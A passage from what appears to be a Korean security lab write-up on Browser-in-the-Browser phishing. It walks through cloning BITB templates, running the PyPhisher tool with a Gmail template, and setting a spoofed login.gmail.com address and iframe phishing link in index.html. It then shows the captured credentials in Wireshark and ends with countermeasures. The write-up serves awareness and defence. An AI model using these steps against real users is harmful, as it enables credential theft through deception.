- 공격자가 HTML과 CSS 코드를 활용하여 정상적인 로그인 과정 등을 흉내

- SSO(Single Sign On_한 번의 인증으로 여러 사이트를 이용할 수 있게 하는 인증) 방식을 악용

 

2. 실습

① 기본 소스코드는 github에 공개되어 있는 Open Source를 사용

 

GitHub - mrd0x/BITB: Browser In The Browser (BITB) Templates

Browser In The Browser (BITB) Templates. Contribute to mrd0x/BITB development by creating an account on GitHub.

github.com

 

- git clone 명령을 사용해 파일 다운로드

[사진 1] 파일 다운로드

 

② pyphisher 다운로드 및 실행

- pyphisher: 파이썬을 사용한 피싱 도구로, 피싱을 위한 facebook, twitter, instagram 등 다양한 웹 사이트를 포함

 

GitHub - KasRoudra/PyPhisher: Easy to use phishing tool with 77 website templates. Author is not responsible for any misuse.

Easy to use phishing tool with 77 website templates. Author is not responsible for any misuse. - GitHub - KasRoudra/PyPhisher: Easy to use phishing tool with 77 website templates. Author is not res...

github.com

python3 pyphisher.py

 

- pyphisher 실행 시 피싱 사이트 생성을 위한 다양한 웹 페이지를 지원하는 것을 알 수 있음

> 실습에서는 [10] Gmail New 사용

> 실행 시 옵션 선택 사항에 대해서는 스킵 처리

[사진 2] pyphisher 최초 실행 화면

 

- 피싱을 위한 URL을 생성해주며, 해당 URL에 접속 시 Google의 로그인 창이 나타남

※ [사진 4]에서 pyphisher이 생성한 URL과 주소창의 URL이 다른 이유는 생성된 URL 접근 시 피싱 사이트 경고를 띄우며 URL이 변경됨.

[사진 3] URL 생성

 

[사진 4] pyphisher을 사용해 생성한 URL 접근 시 나타나는 Google의 로그인 창

 

③ 생성된 URL과 사용자를 속이기 위한 피싱 사이트의 설정을 진행

- index.html 파일의 내용 중 다음 부분을 피싱을 위한 설정으로 변경

기본 값 설명 변경
XX-TITLE-XX 페이지에 표시되는 제목 Sign in to Google account
XX-DOMAIN-NAME-XX 위장하려는 도메인 이름 https://login[.]gmail[.]com/
XX-DOMAIN-PATH-XX 도메인 경로 auth?id=1018o11090&sessid=90890890809
XX-PHISHING-LINK-XX iFrame에 삽입될 피싱 링크 pyphisher에 의해 생성된 URL

 

- index.html을 확인해보면 span 태그를 사용해 주소를 위조하는 것을 알 수 있음

> span 태크는 웹 페이지의 일부에 스타일을 적용시키기 위해(페이지를 꾸미기위해) 사용되는 태크

> 공격자의 피싱 사이트 주소 등을 span 태그를 사용해 사용자에게 보여주어 계정 정보 등 입력 유도

> 마지막 ifram 태그 내 src 값이 공격자가 생성한 피싱 주소

[사진 5] index.html 수정

 

④ 웹 서버 실행

-m moduele: 라이브러리 모듈을 스크립트로 실행

[사진 6] 웹 서버 실행

 

⑤ 외부에서 접속 시 로그인 팝업 창이 발생

- 로그인 폼이 적용되지 않아 ③의 과정에서 다른 URL로 변경해 보았지만, 정상적으로 적용되지 않음

[사진 7] 피싱 사이트 접근 시 로그인 팝업 발생

 

- Kali에서 localhost:8001로 접근 시 로그인 폼 정상 출력

[사진 8] 로그인 폼 출력

 

- 사용자가 정상적인 페이지로 착각하여 계정 정보를 입력하면, 공격자에게 PC 정보와 입력한 계정 탈취 및 파일로 저장

> 로그인 결과 403 에러(서버에 요청이 전달되었지만, 권한 때문에 거절되었다는 에러) 발생

[사진 9] 로그인 결과

 

⑥ 와이어샤크 확인

- 와이어샤크로 패킷을 확인해보면 입력한 계정 정보 확인(노출)

> 피싱페이지를 구성하는 방법에 따라 다른 결과를 보일 것으로 판단됨

[사진 10] 와이어샤크

 

3. 대응방안

① 출처가 불분명한 이메일, 메시지에 포함된 링크 클릭 금지
② URL 확인
③ 다중인증 사용
④ 팝업창이 웹 페이지 화면 내에서만 움직일 수 있으므로, 확인해보기 등 보안 규칙 준수

> 정상적인 웹 페이지 및 팝업의 경우 웹 페이지 밖으로 이동이 가능함

> 아래 동영상의 경우 실습에서 사용한 피싱 사이트로 팝업이 웹 페이지 밖으로 움직여지지 않음

+ Recent posts